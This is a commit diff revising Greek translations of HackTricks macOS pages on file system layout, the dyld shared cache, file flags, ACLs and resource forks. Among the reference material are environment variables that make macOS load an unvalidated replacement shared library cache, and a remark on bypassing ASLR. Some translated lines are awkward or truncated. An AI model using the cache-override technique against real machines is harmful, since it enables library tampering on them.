Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-04-29 10:28:31 +00:00
parent ede5fa3c53
commit 6bc5d53aac
5 changed files with 604 additions and 193 deletions

View file

@ -175,6 +175,7 @@
* [macOS Java Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md)
* [macOS Library Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md)
* [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
* [macOS Dyld Process](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md)
* [macOS Perl Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md)
* [macOS Python Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-python-applications-injection.md)
* [macOS Ruby Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md)

View file

@ -2,14 +2,14 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
@ -30,15 +30,15 @@
* **/usr**: Δυαδικά αρχεία ρυθμίσεων και συστήματος
* **/var**: Αρχεία καταγραφής
* **/Volumes**: Οι συνδεδεμένοι δίσκοι θα εμφανιστούν εδώ.
* **/.vol**: Εκτελώντας `stat a.txt` λαμβάνετε κάτι σαν `16777223 7545753 -rw-r--r-- 1 username wheel ...` όπου το πρώτο νούμερο είναι ο αριθμός id του όγδοου όπου υπάρχει το αρχείο και το δεύτερο είναι ο αριθμός inode. Μπορείτε να έχετε πρόσβαση στο περιεχόμενο αυτού του αρχείου μέσω του /.vol/ με αυτές τις πληροφορίες εκτελώντας `cat /.vol/16777223/7545753`
* **/.vol**: Εκτελώντας `stat a.txt` λαμβάνετε κάτι σαν `16777223 7545753 -rw-r--r-- 1 username wheel ...` όπου το πρώτο νούμερο είναι ο αριθμός id του όγκου όπου υπάρχει το αρχείο και το δεύτερο είναι ο αριθμός inode. Μπορείτε να έχετε πρόσβαση στο περιεχόμενο αυτού του αρχείου μέσω /.vol/ με αυτές τις πληροφορίες εκτελώντας `cat /.vol/16777223/7545753`
### Φάκελοι Εφαρμογών
* **Συστημικές εφαρμογές** βρίσκονται στο `/System/Applications`
* **Εφαρμογές συστήματος** βρίσκονται υπό το `/System/Applications`
* **Εγκατεστημένες** εφαρμογές συνήθως εγκαθίστανται στο `/Applications` ή στο `~/Applications`
* **Δεμένα δεδομένα εφαρμογής** μπορούν να βρεθούν στο `/Library/Application Support` για εφαρμογές που τρέχουν ως ρίζα και στο `~/Library/Application Support` για εφαρμογές που τρέχουν ως χρήστης.
* **Δεδομένα εφαρμογής** μπορούν να βρεθούν στο `/Library/Application Support` για εφαρμογές που τρέχουν ως ρίζα και στο `~/Library/Application Support` για εφαρμογές που τρέχουν ως χρήστης.
* Οι **δαίμονες** τρίτων εφαρμογών που **χρειάζονται να τρέχουν ως ρίζα** συνήθως βρίσκονται στο `/Library/PrivilegedHelperTools/`
* **Εφαρμογές με αμμοθάλασσα** αντιστοιχίζονται στον φάκελο `~/Library/Containers`. Κάθε εφαρμογή έχει ένα φάκελο με το όνομα που αντιστοιχεί στο bundle ID της εφαρμογής (`com.apple.Safari`).
* **Εφαρμογές με αμμοθάλασσα** αντιστοιχίζονται στον φάκελο `~/Library/Containers`. Κάθε εφαρμογή έχει ένα φάκελο με το όνομα του αναλόγως με το ID δέματος της εφαρμογής (`com.apple.Safari`).
* Ο **πυρήνας** βρίσκεται στο `/System/Library/Kernels/kernel`
* Οι **επεκτάσεις πυρήνα της Apple** βρίσκονται στο `/System/Library/Extensions`
* Οι **επεκτάσεις πυρήνα τρίτων** αποθηκεύονται στο `/Library/Extensions`
@ -60,36 +60,36 @@
## Ειδικές Επεκτάσεις OS X
* **`.dmg`**: Τα αρχεία Apple Disk Image είναι πολύ συχνά για εγκαταστάτες.
* **`.kext`**: Πρέπει να ακολουθεί μια συγκεκριμένη δομή και είναι η έκδοση του OS X ενός προγράμματος οδήγησης. (είναι ένα bundle)
* **`.plist`**: Επίσης γνωστό ως property list αποθηκεύει πληροφορίες σε μορφή XML ή δυαδική.
* **`.kext`**: Πρέπει να ακολουθεί μια συγκεκριμένη δομή και είναι η έκδοση του OS X ενός προγράμματος οδήγησης. (είναι ένα δέμα)
* **`.plist`**: Επίσης γνωστό ως λίστα ιδιοτήτων αποθηκεύει πληροφορίες σε μορφή XML ή δυαδική.
* Μπορεί να είναι XML ή δυαδικά. Τα δυαδικά μπορούν να διαβαστούν με:
* `defaults read config.plist`
* `/usr/libexec/PlistBuddy -c print config.plsit`
* `plutil -p ~/Library/Preferences/com.apple.screensaver.plist`
* `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -`
* `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
* **`.app`**: Εφαρμογές Apple που ακολουθούν δομή φακέλου (Είναι ένα bundle).
* **`.app`**: Εφαρμογές Apple που ακολουθούν δομή φακέλου (Είναι ένα δέμα).
* **`.dylib`**: Δυναμικές βιβλιοθήκες (όπως τα αρχεία DLL των Windows)
* **`.pkg`**: Είναι τα ίδια με τα xar (eXtensible Archive format). Η εντολή installer μπορεί να χρησιμοποιηθεί για να εγκαταστήσει τα περιεχόμενα αυτών των αρχείων.
* **`.pkg`**: Είναι ίδια με τα xar (eXtensible Archive format). Η εντολή installer μπορεί να χρησιμοποιηθεί για να εγκαταστήσει τα περιεχόμενα αυτών των αρχείων.
* **`.DS_Store`**: Αυτό το αρχείο υπάρχει σε κάθε φάκελο, αποθηκεύει τα χαρακτηριστικά και τις προσαρμογές του φακέλου.
* **`.Spotlight-V100`**: Αυτός ο φάκελος εμφανίζεται στο ριζικό φάκελο κάθε όγδοου στο σύστημα.
* **`.metadata_never_index`**: Αν αυτό το αρχείο βρίσκεται στη ρίζα ενός όγδοου, το Spotlight δεν θα ευρετηριάσει αυτό το όγδοο.
* **`.noindex`**: Τα αρχεία και οι φάκελοι με αυτή την επέκταση δεν θα ευρετηριαστούν από το Spotlight.
* **`.sdef`**: Αρχεία μέσα σε bundles που καθορίζουν πώς είναι δυνατή η αλληλεπίδραση με την εφαρμογή από ένα AppleScript.
* **`.Spotlight-V100`**: Αυτός ο φάκελος εμφανίζεται στο ριζικό φάκελο κάθε όγκου στο σύστημα.
* **`.metadata_never_index`**: Αν αυτό το αρχείο βρίσκεται στη ρίζα ενός όγκου, το Spotlight δεν θα ευρετηριάσει αυτόν τον όγκο.
* **`.noindex`**: Τα αρχεία και οι φάκελοι με αυτήν την επέκταση δεν θα ευρετηριαστούν από το Spotlight.
* **`.sdef`**: Αρχεία μέσα σε δέματα που καθορίζουν πώς είναι δυνατή η αλληλεπίδραση με την εφαρμογή από ένα AppleScript.
### Συστήματα Δέσμευσης macOS
### Δέματα macOS
Μια δέσμη είναι ένα **φάκελος** που **μοιάζει με ένα αντικείμενο στο Finder** (ένα παράδειγμα δέσμης είναι τα αρχεία `*.app`).
Ένα δέμα είναι ένα **φάκελος** που **μοιάζει με αντικείμενο στο Finder** (ένα παράδειγμα δέματος είναι τα αρχεία `*.app`).
{% content-ref url="macos-bundles.md" %}
[macos-bundles.md](macos-bundles.md)
{% endcontent-ref %}
## Κοινόχρηστη Προσωρινή Μνήμη Dyld
## Δυναμική Κοινή Βιβλιοθήκη Dyld (SLC)
Στο macOS (και iOS) όλες οι κοινόχρηστες βιβλιοθήκες συστήματος, όπως πλαίσια και dylibs, **συνδυάζονται σε ένα μόνο αρχείο**, που ονομάζεται **κοινόχρηστη μνήμη dyld**. Αυτό βελτιώνει την απόδοση, αφού ο κώδικας μπορεί να φορτωθεί πιο γρήγορα.
Στο macOS (και iOS) όλες οι κοινές βιβλιοθήκες συστήματος, όπως πλαίσια και dylibs, **συνδυάζονται σε ένα μόνο αρχείο**, που ονομάζεται **dyld shared cache**. Αυτό βελτιώνει την απόδοση, αφού ο κώδικας μπορεί να φορτωθεί πιο γρήγορα.
Παρόμοια με την κοινόχρηστη μνήμη dyld, ο πυρήνας και οι επεκτάσεις πυρήνα επίσης συντάσσον
Αυτό βρίσκεται στο macOS στο `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/` και σε παλαιότερες εκδόσεις μπορείτε να βρείτε το **
```bash
# dyld_shared_cache_util
dyld_shared_cache_util -extract ~/shared_cache/ /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@ -101,61 +101,78 @@ dyldex_all [dyld_shared_cache_path] # Extract all
```
{% endcode %}
Σε παλαιότερες εκδόσεις μπορείτε να βρείτε τη **κοινόχρηστη μνήμη** στο **`/System/Library/dyld/`**.
Στο iOS μπορείτε να τις βρείτε στο **`/System/Library/Caches/com.apple.dyld/`**.
{% hint style="success" %}
Σημειώστε ότι ακόμα κι αν το εργαλείο `dyld_shared_cache_util` δεν λειτουργεί, μπορείτε να περάσετε το **κοινόχρηστο dyld δυαδικό στο Hopper** και το Hopper θα είναι σε θέση να αναγνωρίσει όλες τις βιβλιοθήκες και να σας επιτρέψει να **επιλέξετε ποια θέλετε να ερευνήσετε**:
Σημειώστε ότι ακόμα κι αν το εργαλείο `dyld_shared_cache_util` δεν λειτουργεί, μπορείτε να περάσετε το **shared dyld binary στο Hopper** και το Hopper θα είναι σε θέση να αναγνωρίσει όλες τις βιβλιοθήκες και να σας επιτρέψει να **επιλέξετε ποια θέλετε** να ερευνήσετε:
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1149).png" alt="" width="563"><figcaption></figcaption></figure>
## Ειδικές Άδειες Αρχείων
Κάποιοι εξαγωγείς δεν λειτουργούν καθώς οι dylibs είναι προ-συνδεδεμένες με σκληρούς κωδικούς διευθύνσεων και επομένως ενδέχεται να πηδούν σε άγνωστες διευθύνσεις
### Δικαιώματα Φακέλου
{% hint style="success" %}
Είναι επίσης δυνατό να κατεβάσετε την Κοινόχρηστη Βιβλιοθήκη Cache άλλων συσκευών \*OS στο macos χρησιμοποιώντας έναν εξομοιωτή στο Xcode. Θα κατεβούν μέσα στο: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`, όπως:`$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64`
{% endhint %}
Σε έναν **φάκελο**, το **δικαίωμα ανάγνωσης** επιτρέπει τη **λίσταρία του**, το **δικαίωμα εγγραφής** επιτρέπει τη **διαγραφή** και τη **εγγραφή** αρχείων σε αυτόν, και το **δικαίωμα εκτέλεσης** επιτρέπει το **διάσχιση** του φακέλου. Έτσι, για παράδειγμα, ένας χρήστης με **δικαίωμα ανάγνωσης πάνω σε ένα αρχείο** μέσα σε έναν φάκελο όπου δεν έχει **δικαίωμα εκτέλεσης** **δεν θα μπορεί να διαβάσει** το αρχείο.
### Χαρτογράφηση SLC
### Τροποποιητές Σημαιών
Το **`dyld`** χρησιμοποιεί την κλήση συστήματος **`shared_region_check_np`** για να γνωρίζει αν έχει γίνει χαρτογράφηση του SLC (η οποία επιστρέφει τη διεύθυνση) και **`shared_region_map_and_slide_np`** για να χαρτογραφήσει το SLC.
Υπάρχουν μερικά σημαία που μπορούν να οριστούν στα αρχεία και θα κάνουν το αρχείο να συμπεριφέρεται διαφορετικά. Μπορείτε να **ελέγξετε τα σημαία** των αρχείων μέσα σε έναν φάκελο με `ls -lO /path/directory`
Σημειώστε ότι ακόμα κι αν το SLC έχει γίνει μετακινηθεί στην πρώτη χρήση, όλες οι **διεργασίες** χρησιμοποιούν το **ίδιο αντίγραφο**, το οποίο **αποκλείει την προστασία ASLR** εάν ο επιτιθέμενος μπορούσε να εκτελέσει διεργασίες στο σύστημα. Αυτό πράγματι εκμεταλλεύτηκε στο παρελθόν και διορθώθηκε με τον κοινόχρηστο περιοχή pager.
* **`uchg`**: Γνωστό ως σημαία **uchange** θα **εμποδίσει οποιαδήποτε ενέργεια** αλλαγής ή διαγραφής του **αρχείου**. Για να το ορίσετε: `chflags uchg file.txt`
* Ο χρήστης ρίζα μπορεί να **αφαιρέσει τη σημαία** και να τροποποιήσει το αρχείο
* **`restricted`**: Αυτή η σημαία κάνει το αρχείο να είναι **προστατευμένο από το SIP** (δεν μπορείτε να προσθέσετε αυτή τη σημαία σε ένα αρχείο).
* **`Sticky bit`**: Αν ένας φάκελος έχει sticky bit, **μόνο** ο **ιδιοκτήτης του φακέλου ή η ρίζα μπορεί να μετονομάσει ή να διαγράψει** αρχεία. Συνήθως αυτό ορίζεται στον φάκελο /tmp για να αποτρέψει τους κανονικούς χρήστες από τη διαγραφή ή τη μετακίνηση αρχείων άλλων χρηστών.
Οι ομάδες κλαδιών είναι μικρές Mach-O dylibs που δημιουργούν μικρούς χώρους μεταξύ των αντιστοιχίσεων εικόνων καθιστώντας αδύνατη την ενδιάμεση εισαγωγή των λειτουργιών.
Όλα τα σημαία μπορούν να βρεθούν στο αρχείο `sys/stat.h` (βρείτε το χρησιμοποιώντας `mdfind stat.h | grep stat.h`) και είναι:
### Αντικατάσταση SLCs
* `UF_SETTABLE` 0x0000ffff: Μάσκα των σημαιών που μπορούν να αλλάξουν οι ιδιοκτήτες.
* `UF_NODUMP` 0x00000001: Να μην γίνει αντιγραφή ασφαλείας του αρχείου.
Χρησιμοποιώντας τις μεταβλητές περιβάλλοντος:
* **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR=</path/dir> DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Αυτό θα επιτρέψει τη φόρτωση μιας νέας κοινόχρηστης βιβλιοθήκης cache
* **`DYLD_SHARED_CACHE_DIR=avoid`** και αντικαταστήστε χειροκίνητα τις βιβλιοθήκες με συμβολικούς συνδέσμους στην κοινόχρηστη μνήμη cache με τις πραγματικές (θα πρέπει να τις εξάγετε)
## Ειδικές Αδειες Αρχείων
### Άδειες φακέλων
Σε ένα **φάκελο**, το **read** επιτρέπει να **καταλογογραφηθεί**, το **write** επιτρέπει να **διαγραφεί** και να **γραφτούν** αρχεία σε αυτό, και το **execute** επιτρέπει να **διασχίσει** τον κατάλογο. Έτσι, για παράδειγμα, ένας χρήστης με **άδεια ανάγνωσης πάνω σε ένα αρχείο** μέσα σε έναν κατάλογο όπου δεν έχει **άδεια εκτέλεσης** **δεν θα μπορεί να διαβάσει** το αρχείο.
### Τροποποιητές σημαιών
Υπάρχουν μερικές σημαίες που μπορούν να οριστούν στα αρχεία που θα κάνουν το αρχείο να συμπεριφέρεται διαφορετικά. Μπορείτε να **ελέγξετε τις σημαίες** των αρχείων μέσα σε έναν κατάλογο με `ls -lO /path/directory`
* **`uchg`**: Γνωστή ως **σημαία uchange** θα **εμποδίσει οποιαδήποτε ενέργεια** αλλάζει ή διαγράφει το **αρχείο**. Για να το ορίσετε: `chflags uchg file.txt`
* Ο ριζικός χρήστης μπορεί να **αφαιρέσει τη σημαία** και να τροποποιήσει το αρχείο
* **`restricted`**: Αυτή η σημαία κάνει το αρχείο να **προστατεύεται από το SIP** (δεν μπορείτε να προσθέσετε αυτή τη σημαία σε ένα αρχείο).
* **`Sticky bit`**: Εάν ένας κατάλογος έχει sticky bit, **μόνο** ο **ιδιοκτήτης του καταλόγου ή ο ριζικός μπορεί να μετονομάσει ή να διαγράψει** αρχεία. Συνήθως αυτό ορίζεται στον κατάλογο /tmp για να αποτρέψει τους κανονικούς χρήστες από το διαγραφή ή τη μετακίνηση αρχείων άλλων χρηστών.
Όλες οι σημαίες μπορούν να βρεθούν στο αρχείο `sys/stat.h` (βρείτε το χρησιμοποιώντας `mdfind stat.h | grep stat.h`) και είναι:
* `UF_SETTABLE` 0x0000ffff: Μάσκα από σημαίες που μπορούν να αλλάξουν οι ιδιοκτήτες.
* `UF_NODUMP` 0x00000001: Να μην γίνει αντιγραφή αρχείου.
* `UF_IMMUTABLE` 0x00000002: Το αρχείο δεν μπορεί να αλλάξει.
* `UF_APPEND` 0x00000004: Οι εγγραφές στο αρχείο μπορούν μόνο να προστεθούν.
* `UF_OPAQUE` 0x00000008: Ο φάκελος είναι αδιαφανής ως προς την ένωση.
* `UF_OPAQUE` 0x00000008: Ο κατάλογος είναι αδιαφανής ως προς την ένωση.
* `UF_COMPRESSED` 0x00000020: Το αρχείο είναι συμπιεσμένο (κάποια συστήματα αρχείων).
* `UF_TRACKED` 0x00000040: Δεν υπάρχουν ειδοποιήσεις για διαγραφές/μετονομασίες για αρχεία με αυτό το σύνολο.
* `UF_DATAVAULT` 0x00000080: Απαιτείται δικαίωμα για ανάγνωση και εγγραφή.
* `UF_TRACKED` 0x00000040: Χωρίς ειδοποιήσεις για διαγραφές/μετονομασίες για αρχεία με αυτό το σύνολο.
* `UF_DATAVAULT` 0x00000080: Απαιτείται εξουσιοδότηση για ανάγνωση και εγγραφή.
* `UF_HIDDEN` 0x00008000: Υπόδειξη ότι αυτό το στοιχείο δεν πρέπει να εμφανίζεται σε μια γραφική διεπαφή.
* `SF_SUPPORTED` 0x009f0000: Μάσκα των σημαιών που υποστηρίζονται από τον υπερχρήστη.
* `SF_SETTABLE` 0x3fff0000: Μάσκα των σημαιών που μπορεί να αλλάξει ο υπερχρήστης.
* `SF_SYNTHETIC` 0xc0000000: Μάσκα συστημικών σημαιών μόνο για ανάγνωση.
* `SF_SUPPORTED` 0x009f0000: Μάσκα από σημαίες που υποστηρίζονται από τον υπερχρήστη.
* `SF_SETTABLE` 0x3fff0000: Μάσκα από σημαίες που μπορεί να αλλάξει ο υπερχρήστης.
* `SF_SYNTHETIC` 0xc0000000: Μάσκα από συνθετικές σημαίες μόνο για ανάγνωση συστήματος.
* `SF_ARCHIVED` 0x00010000: Το αρχείο είναι αρχειοθετημένο.
* `SF_IMMUTABLE` 0x00020000: Το αρχείο δεν μπορεί να αλλάξει.
* `SF_APPEND` 0x00040000: Οι εγγραφές στο αρχείο μπορούν μόνο να προστεθούν.
* `SF_RESTRICTED` 0x00080000: Απαιτείται δικαίωμα για εγγραφή.
* `SF_NOUNLINK` 0x00100000: Το στοιχείο δεν μπορεί να αφαιρεθεί, να μετονομαστεί ή να τοποθετηθεί.
* `SF_FIRMLINK` 0x00800000: Το αρχείο είναι σύνδεσμος σε σταθερό αρχείο.
* `SF_RESTRICTED` 0x00080000: Απαιτείται εξουσιοδότηση για εγγραφή.
* `SF_NOUNLINK` 0x00100000: Το στοιχείο δεν μπορεί να αφαιρεθεί, να μετονομαστεί ή να τοποθετηθεί σε.
* `SF_FIRMLINK` 0x00800000: Το αρχείο είναι σύνδεσμος σταθερού συνδέσμου.
* `SF_DATALESS` 0x40000000: Το αρχείο είναι αντικείμενο χωρίς δεδομένα.
### **ACLs Αρχείων**
### **Αρχεία ACLs**
Τα **ACLs** αρχείων περιέχουν **ACE** (Access Control Entries) όπου μπορούν να ανατεθούν πιο **λεπτομερή δικαιώματα** σε διαφορετικούς χρήστες.
Τα **ACLs** αρχείων περιέχουν **ACE** (Access Control Entries) όπου μπορούν να ανατεθούν πιο **λεπτομερείς άδειες** σε διαφορετικούς χρήστες.
Είναι δυνατόν να χορηγηθούν σε έναν **φάκελο** αυτά τα δικαιώματα: `λίστα`, `αναζήτηση`, ροσθήκη_αρχείου`, ροσθήκη_υποφακέλου`, ιαγραφή_παιδιού`.\
Και σε ένα **αρχείο**: `ανάγνωση`, `εγγραφή`, `προσάρτηση`, `εκτέλεση`.
Είναι δυνατό να χορηγηθούν σε έναν **κατάλογο** αυτές οι άδειες: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\
Και σε ένα **αρχείο**: `read`, `write`, `append`, `execute`.
Όταν το αρχείο περιέχει ACLs θα **βρείτε ένα "+" κατά την καταχώριση των δικαιωμάτων όπως στο**:
Όταν το αρχείο περιέχει ACLs θα **βρείτε ένα "+" κατά την εμφάνιση των άδειών όπως στο**:
```bash
ls -ld Movies
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
@ -181,7 +198,7 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
* `com.apple.FinderInfo`: MacOS: Πληροφορίες Finder (π.χ., ετικέτες χρώματος)
* `com.apple.TextEncoding`: Καθορίζει την κωδικοποίηση κειμένου των αρχείων ASCII
* `com.apple.logd.metadata`: Χρησιμοποιείται από το logd σε αρχεία στο `/var/db/diagnostics`
* `com.apple.genstore.*`: Γενεαλογική αποθήκευση (`/.DocumentRevisions-V100` στη ρίζα του συστήματος αρχείων)
* `com.apple.genstore.*`: Αποθήκευση γενεών (`/.DocumentRevisions-V100` στη ρίζα του συστήματος αρχείων)
* `com.apple.rootless`: MacOS: Χρησιμοποιείται από την Προστασία Ακεραιότητας Συστήματος για να επισημάνει αρχεία (III/10)
* `com.apple.uuidb.boot-uuid`: Σήμανση των εποχών εκκίνησης από το logd με μοναδικό UUID
* `com.apple.decmpfs`: MacOS: Διαφανής συμπίεση αρχείων (II/7)
@ -190,7 +207,7 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
### Resource Forks | macOS ADS
Αυτή είναι μια μέθοδος για να αποκτήσετε **Εναλλακτικές Ροές Δεδομένων στα μηχανήματα MacOS**. Μπορείτε να αποθηκεύσετε περιεχόμενο μέσα σε ένα επεκτεινόμενο χαρακτηριστικό που ονομάζεται **com.apple.ResourceFork** μέσα σε ένα αρχείο αποθηκεύοντάς το στο **file/..namedfork/rsrc**.
Αυτή είναι μια μέθοδος για να αποκτήσετε **Εναλλακτικά Ροέν Δεδομένα στα μηχανήματα MacOS**. Μπορείτε να αποθηκεύσετε περιεχόμενο μέσα σε ένα επεκτεινόμενο χαρακτηριστικό που ονομάζεται **com.apple.ResourceFork** μέσα σε ένα αρχείο αποθηκεύοντάς το στο **file/..namedfork/rsrc**.
```bash
echo "Hello" > a.txt
echo "Hello Mac ADS" > a.txt/..namedfork/rsrc
@ -202,8 +219,6 @@ ls -l a.txt #The file length is still q
-rw-r--r--@ 1 username wheel 6 17 Jul 01:15 a.txt
```
Μπορείτε **να βρείτε όλα τα αρχεία που περιέχουν αυτό το επεκταμένο χαρακτηριστικό** με:
{% code overflow="wrap" %}
```bash
find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
```
@ -219,7 +234,7 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
## **Παγκόσμια δυαδικά &** Μορφή Mach-o
Τα δυαδικά του Mac OS συνήθως μεταγλωττίζονται ως **παγκόσμια δυαδικά**. Ένα **παγκόσμιο δυαδικό** μπορεί **να υποστηρίξει πολλές αρχιτεκτονικές στο ίδιο αρχείο**.
Τα δυαδικά του Mac OS συνήθως μεταγλωττίζονται ως **παγκόσμια δυαδικά**. Ένα **παγκόσμιο δυαδικό** μπορεί **να υποστηρίζει πολλές αρχιτεκτονικές στο ίδιο αρχείο**.
{% content-ref url="universal-binaries-and-mach-o-format.md" %}
[universal-binaries-and-mach-o-format.md](universal-binaries-and-mach-o-format.md)
@ -233,7 +248,7 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
## Αρχεία κατηγορίας κινδύνου Mac OS
Ο κατάλογος `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` είναι όπου αποθηκεύονται πληροφορίες σχετικά με το **κίνδυνο που σχετίζεται με διαφορετικές επεκτάσεις αρχείων**. Αυτός ο κατάλογος κατηγοριοποιεί τα αρχεία σε διάφορα επίπεδα κινδύνου, επηρεάζοντας τον τρόπο με τον οποίο το Safari χειρίζεται αυτά τα αρχεία κατά τη λήψη. Οι κατηγορίες είναι οι εξής:
Ο κατάλογος `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` είναι όπου αποθηκεύονται πληροφορίες σχετικά με το **κίνδυνο που συσχετίζεται με διαφορετικές επεκτάσεις αρχείων**. Αυτός ο κατάλογος κατηγοριοποιεί τα αρχεία σε διάφορα επίπεδα κινδύνου, επηρεάζοντας τον τρόπο με τον οποίο το Safari χειρίζεται αυτά τα αρχεία κατά τη λήψη. Οι κατηγορίες είναι οι εξής:
* **LSRiskCategorySafe**: Τα αρχεία σε αυτήν την κατηγορία θεωρούνται **εντελώς ασφαλή**. Το Safari θα ανοίγει αυτά τα αρχεία αυτόματα μετά τη λήψη τους.
* **LSRiskCategoryNeutral**: Αυτά τα αρχεία δεν συνοδεύονται από προειδοποιήσεις και **δεν ανοίγονται αυτόματα** από το Safari.
@ -245,7 +260,7 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
* **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: Περιέχει πληροφορίες σχετικά με τα ληφθέντα αρχεία, όπως η διεύθυνση URL από όπου λήφθηκαν.
* **`/var/log/system.log`**: Κύρια καταγραφή των συστημάτων OSX. Το com.apple.syslogd.plist είναι υπεύθυνο για την εκτέλεση της καταγραφής συστήματος (μπορείτε να ελέγξετε αν είναι απενεργοποιημένο αναζητώντας "com.apple.syslogd" στο `launchctl list`.
* **`/private/var/log/asl/*.asl`**: Αυτά είναι τα Αρχεία Καταγραφής Συστήματος της Apple που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.
* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Αποθηκεύει πρόσφατα ανακτηθέντα αρχεία και εφαρμογές μέσω του "Finder".
* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Αποθηκεύει πρόσφατα ανοιγμένα αρχεία και εφαρμογές μέσω του "Finder".
* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Αποθηκεύει στοιχεία για εκκίνηση κατά την εκκίνηση του συστήματος
* **`$HOME/Library/Logs/DiskUtility.log`**: Αρχείο καταγραφής για την εφαρμογή DiskUtility (πληροφορίες σχετικά με τους δίσκους, συμπεριλαμβανομένων των USB)
* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Δεδομένα σχετικά με τα σημεία πρόσβασης ασύρματων δικτύων.

View file

@ -1,30 +1,30 @@
# macOS Function Hooking
# macOS Συνάρτηση Hooking
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
